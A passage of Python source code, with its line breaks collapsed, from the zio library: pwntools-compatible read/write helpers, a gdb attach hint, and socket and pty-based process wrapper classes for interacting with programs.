cwd=cwd, env=env, sighup=sighup, write_delay=write_delay, read_echoback=read_echoback, ) def log_read(self, byte_buf): ''' bytes -> IO bytes ''' if self.print_read and byte_buf: # should log when byte_buf is empty bytestring content = self.read_transform(byte_buf) if hasattr(self.logfile, 'buffer'): self.logfile.buffer.write(content) else: self.logfile.write(content) self.logfile.flush() def log_write(self, byte_buf): ''' bytes -> IO bytes ''' if self.print_write and byte_buf: # should log when byte_buf is empty bytestring content = self.write_transform(byte_buf) if hasattr(self.logfile, 'buffer'): self.logfile.buffer.write(content) else: self.logfile.write(content) self.logfile.flush() @property def print_read(self): return self.read_transform is not None and self.read_transform is not NONE @print_read.setter def print_read(self, value): if value == True: self.read_transform = RAW elif value == False: self.read_transform = NONE elif callable(value): self.read_transform = value else: raise ValueError('bad print_read value') assert callable(self.read_transform) @property def print_write(self): return self.write_transform is not None and self.write_transform is not NONE @print_write.setter def print_write(self, value): if value == True: self.write_transform = RAW elif value == False: self.write_transform = NONE elif callable(value): self.write_transform = value else: raise ValueError('bad print_read value') assert callable(self.write_transform) def read(self, size=None): ''' if size is -1 or None, then read all bytes available until EOF if size is a positive integer, read exactly `size` bytes and return raise EOFError if EOF occurred before full size read raise TimeoutError if Timeout occured ''' is_read_all = size is None or size < 0 incoming = None # log buffer content first if self.buffer: if is_read_all: self.log_read(bytes(self.buffer)) else: self.log_read(bytes(self.buffer[:size])) while True: if is_read_all or len(self.buffer) < size: incoming = self.io.recv(1536) if incoming is None: if is_read_all: ret = bytes(self.buffer) # self.buffer.clear() # note: python2 does not support bytearray.clear() self.buffer = bytearray() return ret else: raise EOFError('EOF occured before full size read, buffer = %r' % self.buffer) self.buffer.extend(incoming) if not is_read_all and len(self.buffer) >= size: if incoming: self.log_read(incoming[:len(incoming) + size - len(self.buffer)]) ret = bytes(self.buffer[:size]) self.buffer = self.buffer[size:] return ret else: self.log_read(incoming) read_exact = read def read_to_end(self): ''' read all data until EOF ''' return self.read(size=-1) read_all = read_to_end recvall = read_to_end def read_line(self, keep=True): content = self.read_until(b'\n', keep=True) if not keep: content = content.rstrip(b'\r\n') return content readline = read_line recvline = read_line # for pwntools compatibility def read_until(self, pattern, keep=True): ''' read until some bytes pattern found patter could be one of following: 1. bytes | unicode(codepoint < 256) 2. re object(must compile using bytes rather than unicode, e.g: re.compile(b"something")) 3. callable functions return True for found and False for not found 4. lists of things above raise EOFError if EOF occurred before pattern found ''' if not isinstance(pattern, (list, tuple)): pattern_list = [pattern] else: pattern_list = pattern log_pos = 0 while True: for p in pattern_list: span = match_pattern(p, self.buffer) if span[0] > -1: # found end_pos = span[1] ret = self.buffer[:end_pos] if keep == True else self.buffer[:span[0]] self.log_read(bytes(self.buffer[log_pos:end_pos])) self.buffer = self.buffer[end_pos:] return bytes(ret) self.log_read(bytes(self.buffer[log_pos:])) log_pos = len(self.buffer) incoming = self.io.recv(1536) if incoming is None: raise EOFError('EOF occured before pattern match, buffer = %r' % self.buffer) self.buffer.extend(incoming) readuntil = read_until recv_until = read_until recvuntil = read_until def read_some(self, size=None): ''' just read 1 or more available bytes (less than size) and return ''' if len(self.buffer): if size is None or size <= 0: ret = bytes(self.buffer) self.buffer = bytearray() else: ret = bytes(self.buffer[:size]) self.buffer = self.buffer[size:] self.log_read(ret) return ret ret = self.io.recv(size) self.log_read(ret) return ret recv = read_some def read_until_timeout(self, timeout=1): ''' read for some timeout, return current buffer plus whatever read ''' end_time = time.time() + timeout if self.buffer: self.log_read(bytes(self.buffer)) while True: r, _w, _e = select_ignoring_useless_signal([self.io.rfd], [], [], timeout) data = None if self.io.rfd in r: data = self.io.recv(1536) if data is None: break elif data: self.buffer.extend(data) self.log_read(data) break timeout = end_time - time.time() if timeout < 0: break if len(self.buffer): ret = bytes(self.buffer) self.buffer = bytearray() return ret return b'' read_eager = read_until_timeout def readable(self): ''' tell wether we have some data to read ''' return select_ignoring_useless_signal([self.io.rfd], [], [], 0) == ([self.io.rfd], [], []) def write(self, byte_buf): ''' write/sendall bytes and flush them all ''' if not byte_buf: return 0 if isinstance(byte_buf, unicode): byte_buf = byte_buf.encode('latin-1') # will raise UnicodeEncodeError if code point larger than 255 self.log_write(bytes(byte_buf)) self.io.send(byte_buf) return len(byte_buf) send = write # for pwntools compatibility sendall = write # for socket compatibility def write_line(self, byte_buf): ''' write byte_buf and a linesep ''' if isinstance(byte_buf, unicode): byte_buf = byte_buf.encode('latin-1') # will raise UnicodeEncodeError if code point larger than 255 return self.write(byte_buf + os.linesep.encode()) sendline = write_line send_line = write_line writeline = write_line def write_lines(self, sequence): n = 0 for s in sequence: n += self.write_line(s) return n writelines = write_lines def write_after(self, pattern, byte_buf): self.read_until(pattern) self.write(byte_buf) writeafter = write_after sendafter = write_after def write_line_after(self, pattern, byte_buf): self.read_until(pattern) self.writeline(byte_buf) writeline_after = write_line_after # for human mistake sendline_after = write_line_after # for human mistake sendlineafter = write_line_after # for pwntools compatibility def send_eof(self): ''' notify peer that we have done writing ''' self.io.send_eof() sendeof = send_eof end = send_eof # for zio 1.0 compatibility def interact(self, **kwargs): ''' interact with current tty stdin/stdout ''' if self.buffer: kwargs['buffered'] = bytes(self.buffer) self.buffer = bytearray() self.io.interact(**kwargs) interactive = interact # for pwntools compatibility def close(self): ''' close underlying io and free all resources ''' self.io.close() def is_closed(self): ''' tell whether this zio object is closed ''' return self.io.is_closed() def is_eof_seen(self): ''' tell whether we have received EOF from peer end ''' return self.io.eof_seen def is_eof_sent(self): ''' tell whether we have sent EOF to the peer ''' return self.io.eof_sent def flush(self): ''' kept to act like a file-like object ''' pass def fileno(self): ''' return underlying os fileno, act like a file-like object ''' return self.io.rfd def mode(self): return self.io.mode def exit_status(self): return self.io.exit_status exit_code = exit_status def gdb_hint(self, userscript=None, breakpoints=None): ''' script: str breakpoints: List[Union{int, (int, keyword:str)}], example: [0x400419, (0x1009, 'libc.so')] ''' pid = self.io.target_pid() if not pid: input('unable to find target pid to attach gdb') return gdb_cmd = ['attach %d' % pid, 'set disassembly-flavor intel'] vmmap = open('/proc/%d/maps' % pid).read() vmmap_lines = vmmap.splitlines() if breakpoints: for b in breakpoints: if isinstance(b, (tuple, list)): found = False for line in vmmap_lines: if b[1].lower() in line.lower(): base = int(line.split('-')[0], 16) gdb_cmd.append('b *' + hex(base + b[0])) found = True break if not found: print('[ WARN ] keyword not found for breakpoint base address: %r' % b) elif isinstance(b, int): gdb_cmd.append('b *' + hex(b)) elif isinstance(b, type('')): gdb_cmd.append('b *' + b) else: print('[ WARN ] bad breakpoint: %r' % b) if not userscript: userscript = '' if isinstance(userscript, bytes): userscript = userscript.decode('utf-8') gdb_script = '\n'.join(gdb_cmd) + '\n\n' + userscript + '\n' tf = tempfile.NamedTemporaryFile(mode="w", suffix='.zio.gdbx') tf.write(gdb_script) tf.flush() hint = "gdb -x %s" % tf.name hint += '\nuse cmdline above to attach gdb then press enter to continue ... ' input(hint) def __str__(self): return '<zio target=%s, timeout=%s, io=%s, buffer=%s>' % (self.target, self.timeout, str(self.io), self.buffer) class SocketIO: mode = 'socket' def __init__(self, target, timeout=None, debug=None): self.timeout = timeout self.debug = debug if isinstance(target, socket.socket): self.sock = target else: self.sock = socket.create_connection(target, self.timeout) self.eof_seen = False self.eof_sent = False self.exit_code = None @property def rfd(self): return self.sock.fileno() @property def wfd(self): return self.sock.fileno() def recv(self, size=None): ''' recv 1 or more available bytes then return return None to indicate EOF since we use b'' to indicate empty string in case of timeout, so do not return b'' for EOF ''' if size is None: # socket.recv does not allow None or -1 as argument size = 8192 try: b = self.sock.recv(size) if self.debug: write_debug(self.debug, b'SocketIO.recv(%r) -> %r' % (size, b)) if not b: self.eof_seen = True return None return b except socket.timeout: raise TimeoutError('socket.timeout') # translate to TimeoutError except Exception as ex: self.exit_code = 1 # recv exception if self.debug: write_debug(self.debug, b'SocketIO.recv(%r) exception: %r' % (size, ex)) raise def send(self, buf): try: return self.sock.sendall(buf) except Exception as ex: self.exit_code = 2 # send exception if self.debug: write_debug(self.debug, b'SocketIO.send(%r) exception: %r' % (buf, ex)) raise def send_eof(self): self.eof_sent = True self.sock.shutdown(socket.SHUT_WR) if self.debug: write_debug(self.debug, b'SocketIO.send_eof()') def interact(self, buffered=None, read_transform=None, write_transform=None, show_input=None, show_output=None, raw_mode=False): if show_input is None: show_input = not os.isatty(pty.STDIN_FILENO) # if pty, itself will echo; if pipe, we do echo if show_output is None: show_output = True parent_tty_mode = None if os.isatty(pty.STDIN_FILENO) and raw_mode: parent_tty_mode = tty.tcgetattr(pty.STDIN_FILENO) # save mode and restore after interact ttyraw(pty.STDIN_FILENO) # set to raw mode to pass all input thru, supporting remote apps as htop/vim if buffered is not None: if read_transform is not None: buffered = read_transform(buffered) if show_output: write_stdout(buffered) while not self.is_closed(): try: r, _w, _e = select_ignoring_useless_signal([self.rfd, pty.STDIN_FILENO], [], []) except KeyboardInterrupt: break data = None if self.rfd in r: data = self.recv(1024) if data: if read_transform is not None: data = read_transform(data) if show_output: write_stdout(data) else: # EOF self.eof_seen = True break if pty.STDIN_FILENO in r: try: data = os.read(pty.STDIN_FILENO, 1024) except OSError as e: # the subprocess may have closed before we get to reading it if e.errno != errno.EIO: raise if data: if write_transform: data = write_transform(data) if show_input: write_stdout(data) self.send(data) if parent_tty_mode: tty.tcsetattr(pty.STDIN_FILENO, tty.TCSAFLUSH, parent_tty_mode) def close(self): self.eof_seen = True self.eof_sent = True try: self.sock.close() if self.exit_code is None: self.exit_code = 0 except Exception as ex: self.exit_code = 3 # close exception if self.debug: write_debug(self.debug, b'SocketIO.close() exception: %r' % ex) raise def is_closed(self): if python_version_major < 3: return isinstance(self.sock._sock, socket._closedsocket) # pylint: disable=no-member else: return self.sock._closed @property def exit_status(self): return self.exit_code def target_pid(self): # code borrowed from https://github.com/Gallopsled/pwntools to implement gdb attach of local socket all_pids = [int(pid) for pid in os.listdir('/proc') if pid.isdigit()] def getpid(loc, rem): loc = b'%08X:%04X' % (l32(socket.inet_aton(loc[0])), loc[1]) rem = b'%08X:%04X' % (l32(socket.inet_aton(rem[0])), rem[1]) inode = None with open('/proc/net/tcp', 'rb') as fd: for line in fd: line = line.split() if line[1] == loc and line[2] == rem: inode = line[9] if inode == None: return None for pid in all_pids: try: for fd in os.listdir('/proc/%d/fd' % pid): fd = os.readlink('/proc/%d/fd/%s' % (pid, fd)) m = re.match(r'socket:\[(\d+)\]', fd) if m: this_inode = m.group(1) if this_inode.encode() == inode: return pid except: pass # Specifically check for socat, since it has an intermediary process # if you do not specify "nofork" to the EXEC: argument # python(2640) -- socat(2642) -- socat(2643) -- bash(2644) def fix_socat(pid): if not pid: return None exe_path = os.readlink('/proc/%d/exe' % pid) if os.path.basename(exe_path) == 'socat': for p in all_pids: try: with open("/proc/%s/stat" % p, 'rb') as f: data = f.read() rpar = data.rfind(b')') dset = data[rpar + 2:].split() if int(dset[1]) == pid: return int(data.split()[0]) except: pass return None sock = self.sock.getsockname() peer = self.sock.getpeername() pid = getpid(peer, sock) if pid: return fix_socat(pid) pid = getpid(sock, peer) return fix_socat(pid) def __str__(self): return '<SocketIO ' + 'self.sock=' + repr(self.sock) + '>' def __repr__(self): return repr(self.sock) class ProcessIO: mode = 'process' def __init__(self, target, timeout=None, debug=None, stdin=PIPE, stdout=TTY_RAW, cwd=None, env=None, sighup=None, write_delay=None, read_echoback=True): if os.name == 'nt': raise RuntimeError("zio (version %s) process mode does not support windows operation system." % __version__) self.timeout = timeout self.debug = debug self.write_delay = write_delay # the delay before writing data, pexcept said Linux don't like this to be below 30ms self.read_echoback = read_echoback self.close_delay = 0.1 # like pexcept, will used by close(), to give kernel time to update process status, time in seconds self.terminate_delay = 0.1 # like close_delay self.exit_code = None self.pid = None self.eof_seen = False self.eof_sent = False # STEP 1: prepare command line args if isinstance(target, type('')): self.args = shlex.split(target) else: self.args = list(target) executable = find_executable(self.args[0]) if not executable: raise ValueError('unable to find executable in path: %s' % self.args) if not os.access(executable, os.X_OK): raise RuntimeError('could not execute file without X bit set, please chmod +x %s' % executable) self.args[0] = executable # STEP 2: create pipes if stdout == PIPE: stdout_slave_fd, stdout_master_fd = self._pipe_cloexec() # note: slave, master else: stdout_master_fd, stdout_slave_fd = pty.openpty() # note: master, slave if stdout_master_fd < 0 or stdout_slave_fd < 0: raise RuntimeError('Could not create pipe or openpty for stdout/stderr') # use another pty for stdin because we don't want our input to be echoed back in stdout # set echo off does not help because in application like ssh, when you input the password # echo will be switched on again # and dont use os.pipe either, because many thing weired will happen, such as backspace not working, ssh lftp command hang stdin_master_fd, stdin_slave_fd = self._pipe_cloexec() if stdin == PIPE else pty.openpty() # write_debug(self.debug, b'stdin == %r, stdin_master_fd isatty = %r' % (stdin, os.isatty(stdin_master_fd))) if stdin_master_fd < 0 or stdin_slave_fd < 0: raise RuntimeError('Could not openpty for stdin') # STEP 3: fork and start engine gc_enabled = gc.isenabled() # Disable gc to avoid bug where gc -> file_dealloc -> # write to stderr -> hang. http://bugs.python.org/issue1336 gc.disable() try: self.pid = os.fork() except: if gc_enabled: gc.enable() raise if self.pid < 0: raise RuntimeError('failed to fork') elif self.pid == 0: # Child os.close(stdout_master_fd) if os.isatty(stdin_slave_fd): self.__pty_make_controlling_tty(stdin_slave_fd) # self.__pty_make_controlling_tty(stdout_slave_fd) try: if os.isatty(stdout_slave_fd) and os.isatty(pty.STDIN_FILENO): h, w = self._getwinsize(pty.STDIN_FILENO) self._setwinsize(stdout_slave_fd, h, w) # note that this may not be successful except BaseException as ex: if self.debug: write_debug(self.debug, b'[ WARN ] ProcessIO.__init__(%r) setwinsize exception: %r' % (target, ex)) # Dup fds for child def _dup2(a, b): # dup2() removes the CLOEXEC flag but # we must do it ourselves if dup2() # would be a no-op (issue #10806). if a == b: self._set_cloexec_flag(a, False) elif a is not None: os.dup2(a, b) # redirect stdout and stderr to pty os.dup2(stdout_slave_fd, pty.STDOUT_FILENO) os.dup2(stdout_slave_fd, pty.STDERR_FILENO) # redirect stdin to stdin_slave_fd instead of stdout_slave_fd, to prevent input echoed back _dup2(stdin_slave_fd, pty.STDIN_FILENO) if stdout_slave_fd > 2: os.close(stdout_slave_fd) if stdin_master_fd is not None: os.close(stdin_master_fd) # do not allow child to inherit open file descriptors from parent max_fd = resource.getrlimit(resource.RLIMIT_NOFILE)[0] os.closerange(3, max_fd) # the following line matters, for example, if SIG_DFL specified and sighup sent when exit, the exitcode of child process can be affected to 1 if sighup is not None: # note that, self.signal could only be one of (SIG_IGN, SIG_DFL) signal.signal(signal.SIGHUP, sighup) if cwd is not None: os.chdir(cwd) if env is None: os.execv(executable, self.args) else: os.execvpe(executable, self.args, env) # TODO: add subprocess errpipe to detect child error # child exit here, the same as subprocess module do os._exit(255) else: # after fork, parent self.wfd = stdin_master_fd self.rfd = stdout_master_fd if os.isatty(self.wfd): # there is no way to eliminate controlling characters in tcattr # so we have to set raw mode here now self._wfd_init_mode = tty.tcgetattr(self.wfd)[:] if stdin == TTY_RAW: ttyraw(self.wfd) self._wfd_raw_mode = tty.tcgetattr(self.wfd)[:] else: self._wfd_raw_mode = self._wfd_init_mode[:] if os.isatty(self.rfd): self._rfd_init_mode = tty.tcgetattr(self.rfd)[:] if stdout == TTY_RAW: ttyraw(self.rfd, raw_in = False, raw_out = True) self._rfd_raw_mode = tty.tcgetattr(self.rfd)[:] if self.debug: write_debug(self.debug, b'stdout tty raw mode: %r\n' % self._rfd_raw_mode) else: self._rfd_raw_mode = self._rfd_init_mode[:] os.close(stdin_slave_fd) os.close(stdout_slave_fd) if gc_enabled: gc.enable() time.sleep(self.close_delay) atexit.register(self._kill, signal.SIGHUP) def recv(self, size=None): ''' recv 1 or more available bytes then return return None to indicate EOF since we use b'' to indicate empty string in case of timeout, so do not return b'' for EOF ''' if size is None: # os.read does not allow None or -1 as argument size = 8192 timeout = self.timeout # Note that some systems such as Solaris do not give an EOF when # the child dies. In fact, you can still try to read # from the child_fd -- it will block forever or until TIMEOUT. # For this case, I test isalive() before doing any reading. # If isalive() is false, then I pretend that this is the same as EOF. if not self._isalive(): # timeout of 0 means "poll" r, _w, _e = select_ignoring_useless_signal([self.rfd], [], [], 0) if not r: self.eof_seen = True raise EOFError('End Of File (EOF). Braindead platform.') if timeout is not None and timeout > 0: end_time = time.time() + timeout else: end_time = float('inf') readfds = [self.rfd] if self.read_echoback: try: os.fstat(self.wfd) readfds.append(self.wfd) except: pass while True: now = time.time() if now > end_time: raise TimeoutError('Timeout exceeded.') if timeout is not None and timeout > 0: timeout = end_time - now r, _w, _e = select_ignoring_useless_signal(readfds, [], [], timeout) if not r: if not self._isalive(): # Some platforms, such as Irix, will claim that their # processes are alive; timeout on the select; and # then finally admit that they are not alive. self.eof_seen = True raise EOFError('End of File (EOF). Very slow platform.') if self.wfd in r: try: data = os.read(self.wfd, size) if self.debug: write_debug(self.debug, b'ProcessIO.recv(%r)[wfd=%r] -> %r' % (size, self.wfd, data)) if data: return data except OSError as err: # wfd read EOF (echo back) pass if self.rfd in r: try: b = os.read(self.rfd, size) if self.debug: write_debug(self.debug, b'ProcessIO.recv(%r) -> %r' % (size, b)) # https://docs.python.org/3/library/os.html#os.read # If the end of the file referred to by fd has been reached, an empty bytes object is returned. if not b: # BSD style self.eof_seen = True return None return b except OSError as err: if self.debug: write_debug(self.debug, b'ProcessIO.recv(%r) raise OSError %r' % (size, err)) if err.errno in (errno.EIO, errno.EBADF): # Linux does this # EIO: OSError: [Errno 5] Input/Output Error # EBADF: OSError: [Errno 9] Bad file descriptor self.eof_seen = True return None raise def send(self, buf, delay=True): if delay: # prevent write too fast time.sleep(self.write_delay) if self.debug: write_debug(self.debug, b'ProcessIO.send(%r)' % buf) return os.write(self.wfd, buf) def send_eof(self, force_close=False): self.eof_sent = True if not os.isatty(self.wfd): # pipes can be closed harmlessly os.close(self.wfd) # for pty, close master fd in Mac won't cause slave fd input/output error, so let's do it! elif sys.platform.startswith('darwin'): os.close(self.wfd) else: # assume Linux here # according to http://linux.die.net/man/3/cfmakeraw # set min = 0 and time > 0, will cause read timeout and return 0 to indicate EOF # but the tricky thing here is, if child read is invoked before this # it will still block forever, so you have to call send_eof before that happens mode = tty.tcgetattr(self.wfd)[:] mode[tty.CC][tty.VMIN] = 0 mode[tty.CC][tty.VTIME] = 1 tty.tcsetattr(self.wfd, tty.TCSAFLUSH, mode) if force_close: time.sleep(self.close_delay) os.close(self.wfd) # might cause EIO (input/output error)! use force_close at your own risk def interact(self, buffered=None, read_transform=None, write_transform=None, show_input=None, show_output=None): """ when stdin is passed using os.pipe, backspace key will not work as expected, if wfd is not a tty, then when backspace pressed, I can see that 0x7f is passed, but vim does not delete backwards, so you should choose the right input when using zio """ if show_output is None: show_output = True # if stdin is in TTY/TTY_RAW, we passthrough to let the inner tty handle everything # if wfd is a pipe, we keep parent tty in cooked mode, so line editing still works parent_tty_mode = None if os.isatty(pty.STDIN_FILENO) and os.isatty(self.wfd): parent_tty_mode = tty.tcgetattr(pty.STDIN_FILENO) # save mode and restore after interact ttyraw(pty.STDIN_FILENO) # set to raw mode to pass all input thru, supporting apps as vim if self.debug: write_debug(self.debug, b'parent tty set to raw mode') if show_input is None: show_input = True # do echo from underlying echo back else: if show_input is None: show_input = False # parent tty in cooked mode and itself has echo back if buffered is not None: if read_transform is not None: buffered = read_transform(buffered) if show_output: write_stdout(buffered) if os.isatty(self.wfd): # here, enable cooked mode for process stdin # but we should only enable for those who need cooked mode, not stuff like vim # we just do a simple detection here wfd_mode = tty.tcgetattr(self.wfd) if self.debug: write_debug(self.debug, b'wfd now mode = %r\n' % wfd_mode) if self.debug: write_debug(self.debug, b'wfd raw mode = %r\n' % self._wfd_raw_mode) if self.debug: write_debug(self.debug, b'wfd ini mode = %r\n' % self._wfd_init_mode) if wfd_mode == self._wfd_raw_mode: # if untouched by forked child tty.tcsetattr(self.wfd, tty.TCSAFLUSH, self._wfd_init_mode) if self.debug: write_debug(self.debug, b'change wfd back to init mode\n') # but wait, things here are far more complex than that # most applications set mode not by setting it to some value, but by flipping some bits in the flags # so, if we set wfd raw mode at the beginning, we are unable to set the correct mode here # to solve this situation, set stdin = TTY_RAW, but note that you will need to manually escape control characters by prefixing Ctrl-V try: rfdlist = [self.rfd, pty.STDIN_FILENO] if os.isatty(self.wfd): # wfd for tty echo rfdlist.append(self.wfd) while self._isalive(): if len(rfdlist) == 0: break if self.rfd not in rfdlist: break try: r, _w, _e = select_ignoring_useless_signal(rfdlist, [], []) except KeyboardInterrupt: break if self.wfd in r: # handle tty echo back first if wfd is a tty try: data = None data = os.read(self.wfd, 1024) if self.debug: write_debug(self.debug, b'[ProcessIO.interact] read data from wfd = %r' % data) except OSError as e: if e.errno != errno.EIO: raise if data: if show_input: write_stdout(data) else: rfdlist.remove(self.wfd) if self.rfd in r: try: data = None data = os.read(self.rfd, 1024) if self.debug: write_debug(self.debug, b'[ProcessIO.interact] read data from rfd = %r' % data) except OSError as e: if e.errno != errno.EIO: raise if data: if read_transform: data = read_transform(data) if show_output: # now we are in interact mode, so users want to see things in real write_stdout(data) else: rfdlist.remove(self.rfd) self.eof_seen = True if pty.STDIN_FILENO in r: try: data = None data = os.read(pty.STDIN_FILENO, 1024) except OSError as e: # the subprocess may have closed before we get to reading it if e.errno != errno.EIO: raise if self.debug and os.isatty(self.wfd): wfd_mode = tty.tcgetattr(self.wfd) if self.debug: write_debug(self.debug, b'stdin wfd mode = %r' % wfd_mode) # in BSD, you can still read '' from rfd, so never use `data is not None` here if data: if self.debug: write_debug(self.debug, b'[ProcessIO.interact] write data = %r' % data) if write_transform: data = write_transform(data) if not os.isatty(self.wfd): if os.isatty(pty.STDIN_FILENO): data = data.replace(b'\r', b'\n') # we must do the translation when tty does not help # also echo back by ourselves, now we are echoing things we input by hand if show_input: write_stdout(data) while data != b'' and self._isalive(): n = self.send(data, delay=False) data = data[n:] else: self.send_eof(force_close=True) rfdlist.remove(pty.STDIN_FILENO) while True: # read the final buffered output, note that the process probably is not alive, so use while True to read until end (fix pipe stdout interact mode bug) r, _w, _e = select_ignoring_useless_signal([self.rfd], [], [], timeout=self.close_delay) if self.rfd in r: try: data = None data = os.read(self.rfd, 1024) except OSError as e: if e.errno != errno.EIO: raise # in BSD, you can still read '' from rfd, so never use `data is not None` here if data: if self.debug: write_debug(self.debug, b'[ProcessIO.interact] read remaining data = %r' % data) if read_transform: data = read_transform(data) if show_output: write_stdout(data) else: self.eof_seen = True break else: break finally: if parent_tty_mode: tty.tcsetattr(pty.STDIN_FILENO, tty.TCSAFLUSH, parent_tty_mode) if os.isatty(self.wfd): ttyraw(self.wfd) def close(self, force_close=True): ''' close and clean up, nothing can and should be done after closing ''' if self.is_closed(): return try: os.close(self.wfd) except: pass # may already closed in write_eof os.close(self.rfd) time.sleep(self.close_delay) if self._isalive(): if not self._terminate(force_close): raise RuntimeError('Could not terminate child process') self.eof_seen = True self.eof_sent = True self.rfd = -1 self.wfd = -1 def is_closed(self): return self.rfd == -1 and self.wfd == -1 and self.eof_sent == True and self.eof_seen == True @property def exit_status(self): if self.exit_code is None: self._isalive() # will modify exit_code if not alive return self.exit_code def target_pid(self): return self.pid def __str__(self): return '<ProcessIO cmdline=%s>' % (self.args) # ---- internal methods ---- def _kill(self, sig): '''This sends the given signal to the child application. In keeping with UNIX tradition it has a misleading name. It does not necessarily kill the child unless you send the right signal. ''' # Same as os.kill, but the pid is given for you. if self._isalive() and self.pid > 0: os.kill(self.pid, sig) def _terminate(self, force=False): '''This forces a child process to terminate. It starts nicely with SIGHUP and SIGINT. If "force" is True then moves onto SIGKILL. This returns True if the child was terminated. This returns False if the child could not be terminated. ''' if not self._isalive(): return True try: self._kill(signal.SIGHUP) time.sleep(self.terminate_delay) if not self._isalive(): return True self._kill(signal.SIGCONT) time.sleep(self.terminate_delay) if not self._isalive(): return True self._kill(signal.SIGINT) # SIGTERM is nearly identical to SIGINT time.sleep(self.terminate_delay) if not self._isalive(): return True if force: self._kill(signal.SIGKILL) time.sleep(self.terminate_delay) if not self._isalive(): return True else: return False return False except OSError: # I think there are kernel timing issues that sometimes cause # this to happen. I think isalive() reports True, but the # process is dead to the kernel. # Make one last attempt to see if the kernel is up to date. time.sleep(self.terminate_delay) if not self._isalive(): return True else: return False def _wait(self): '''This waits until the child exits. This is a blocking call. This will not read any data from the child, so this will block forever if the child has unread output and has terminated. In other words, the child may have printed output then called exit(), but, the child is technically still alive until its output is read by the parent. ''' if self._isalive(): _pid, status = os.waitpid(self.pid, 0) else: raise Exception('Cannot wait for dead child process.') self.exit_code = os.WEXITSTATUS(status) if os.WIFEXITED(status): self.exit_code = os.WEXITSTATUS(status) elif os.WIFSIGNALED(status): self.exit_code = os.WTERMSIG(status) elif os.WIFSTOPPED(status): # You can't call wait() on a child process in the stopped state. raise RuntimeError('Called wait() on a stopped child ' + 'process. This is not supported. Is some other ' + 'process attempting job control with our child pid?') return self.exit_code def _isalive(self): '''This tests if the child process is running or not. This is non-blocking. If the child was terminated then this will read the exit code or signalstatus of the child. This returns True if the child process appears to be running or False if not. It can take literally SECONDS for Solaris to return the right status. ''' if self.exit_code is not None: return False if self.eof_seen: # This is for Linux, which requires the blocking form # of waitpid to # get status of a defunct process. # This is super-lame. The eof_seen would have been set # in recv(), so this should be safe. waitpid_options = 0 else: waitpid_options = os.WNOHANG try: pid, status = os.waitpid(self.pid, waitpid_options) except OSError: err = sys.exc_info()[1] # No child processes if err.errno == errno.ECHILD: raise RuntimeError('isalive() encountered condition ' + 'where "terminated" is 0, but there was no child ' + 'process. Did someone else call waitpid() ' + 'on our process?') else: raise err # I have to do this twice for Solaris. # I can't even believe that I figured this out... # If waitpid() returns 0 it means that no child process # wishes to report, and the value of status is undefined. if pid == 0: try: ### os.WNOHANG) # Solaris! pid, status = os.waitpid(self.pid, waitpid_options) except OSError as e: # This should never happen... if e.errno == errno.ECHILD: raise RuntimeError('isalive() encountered condition ' + 'that should never happen. There was no child ' + 'process. Did someone else call waitpid() ' + 'on our process?') else: raise # If pid is still 0 after two calls to waitpid() then the process # really is alive. This seems to work on all platforms, except for # Irix which seems to require a blocking call on waitpid or select, # so I let read_nonblocking take care of this situation # (unfortunately, this requires waiting through the timeout). if pid == 0: return True if pid == 0: return True if os.WIFEXITED(status): self.exit_code = os.WEXITSTATUS(status) elif os.WIFSIGNALED(status): self.exit_code = os.WTERMSIG(status) elif os.WIFSTOPPED(status): raise RuntimeError('isalive() encountered condition ' + 'where child process is stopped. This is not ' + 'supported. Is some other process attempting ' + 'job control with our child pid?') return False def __pty_make_controlling_tty(self, tty_fd): '''This makes the pseudo-terminal the controlling tty. This should be more portable than the pty.fork() function. Specifically, this should work on Solaris. ''' child_name = os.ttyname(tty_fd) # Disconnect from controlling tty. Harmless if not already connected. try: fd = os.open("/dev/tty", os.O_RDWR | os.O_NOCTTY) if fd >= 0: os.close(fd) # which exception, shouldnt' we catch explicitly .. ? except: # Already disconnected. This happens if running inside cron. pass os.setsid() # Verify we are disconnected from controlling tty # by attempting to open it again. try: fd = os.open("/dev/tty", os.O_RDWR | os.O_NOCTTY) if fd >= 0: os.close(fd) raise Exception('Failed to disconnect from ' + 'controlling tty. It is still possible to open /dev/tty.') # which exception, shouldnt' we catch explicitly .. ? except: # Good! We are disconnected from a controlling tty. pass # Verify we can open child pty. fd = os.open(child_name, os.O_RDWR) if fd < 0: raise Exception("Could not open child pty, " + child_name) else: os.close(fd) # Verify we now have a controlling tty. fd = os.open("/dev/tty", os.O_WRONLY) if fd < 0: raise Exception("Could not open controlling tty, /dev/tty") else: os.close(fd) def _set_cloexec_flag(self, fd, cloexec=True): try: cloexec_flag = fcntl.FD_CLOEXEC except AttributeError: cloexec_flag = 1 old = fcntl.fcntl(fd, fcntl.F_GETFD) if cloexec: fcntl.fcntl(fd, fcntl.F_SETFD, old | cloexec_flag) else: fcntl.fcntl(fd, fcntl.F_SETFD, old & ~cloexec_flag) def _pipe_cloexec(self): """Create a pipe with FDs set CLOEXEC.""" # Pipes' FDs are set CLOEXEC by default because we don't want them # to be inherited by other subprocesses: the CLOEXEC flag is removed # from the child's FDs by _dup2(), between fork() and exec(). # This is not atomic: we would need the pipe2() syscall for that. r, w = os.pipe() self._set_cloexec_flag(r) self._set_cloexec_flag(w) return w, r def _setwinsize(self, fd, rows, cols): # from pexpect, thanks! '''This sets the terminal window size of the child tty. This will cause a SIGWINCH signal to be sent to the child. This does not change the physical window size. It changes the size reported to TTY-aware applications like vi or curses -- applications that respond to the SIGWINCH signal. ''' # Check for buggy platforms. Some Python versions on some platforms # (notably OSF1 Alpha and RedHat 7.1) truncate the value for # termios.TIOCSWINSZ. It is not clear why this happens. # These platforms don't seem to handle the signed int very well; # yet other platforms like OpenBSD have a large negative value for # TIOCSWINSZ and they don't have a truncate problem. # Newer versions of Linux have totally different values for TIOCSWINSZ. # Note that this fix is a hack. TIOCSWINSZ = getattr(termios, 'TIOCSWINSZ', -2146929561) if TIOCSWINSZ == 2148037735: # Same bits, but with sign. TIOCSWINSZ = -2146929561 # Note, assume ws_xpixel and ws_ypixel are zero. s = struct.pack('HHHH', rows, cols, 0, 0) fcntl.ioctl(fd, TIOCSWINSZ, s) def _getwinsize(self, fd): '''This returns the terminal window size of the child tty. The return value is a tuple of (rows, cols). ''' TIOCGWINSZ = getattr(termios, 'TIOCGWINSZ', 1074295912) s = struct.pack('HHHH', 0, 0, 0, 0) x = fcntl.ioctl(fd, TIOCGWINSZ, s) return struct.unpack('HHHH', x)[0:2] # ------------------------------------------------- # =====> command line usage as a standalone app <===== def usage(): print(""" usage: $ zio [options] cmdline | host port options: -h, --help help page, you are reading this now! -i, --stdin tty|pipe, specify tty or pipe stdin, default to tty -o, 